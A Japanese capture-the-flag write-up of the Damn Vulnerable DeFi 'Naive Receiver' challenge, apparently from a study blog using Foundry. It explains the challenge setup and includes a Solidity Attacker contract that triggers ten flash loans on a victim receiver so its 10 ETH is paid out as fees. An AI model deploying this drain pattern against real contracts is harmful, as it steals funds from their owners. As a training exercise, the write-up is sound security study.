チャレンジ #2 - 素朴な受信者#
ソリディティとファウンドリーのシステム学習のために、私はファウンドリーテストフレームワークを使用して、damnvulnerable-defi の解答を再作成しました。ご意見交換や共同開発を歓迎します~🎉
コントラクト#
- NaiveReceiverLenderPool:IERC3156FlashLender を継承し、フラッシュローン機能を提供します
- FlashLoanReceiver:IERC3156FlashBorrower を継承し、フラッシュローンの受信コールバックを行うためのものです
スクリプト#
- NaiveReceiverLenderPool コントラクトをデプロイし、プールに 1000eth を送金します。プールのフラッシュローン手数料は 1eth です
- FlashLoanReceiver コントラクトをデプロイし、レシーバーに 10eth を送金します
- 攻撃スクリプトを実行します
- レシーバーの残高が 0 になり、プールの残高が 1000+10eth になることを期待します
解答#
攻撃の目標は、レシーバーの残高をゼロにすることです。プールを介してフラッシュローンを実行するたびに、手数料として 1eth が必要です。したがって、レシーバーを介してプールに 10 回のフラッシュローンを実行することで、10eth をすべて手数料の形でプールに転送することができます。
課題の要件に従って、1 つのトランザクションでできるだけ多くのことを行うため、1 つのトランザクションで 10 回のフラッシュローンを実行するコントラクトを作成できます。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/naive-receiver/FlashLoanReceiver.sol";
import "../../src/naive-receiver/NaiveReceiverLenderPool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract Attacker {
constructor(address payable _pool, address payable _receiver){
NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(_pool);
for(uint256 i=0; i<10; i++){
pool.flashLoan(IERC3156FlashBorrower(_receiver), address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), 1, "0x");
}
}
}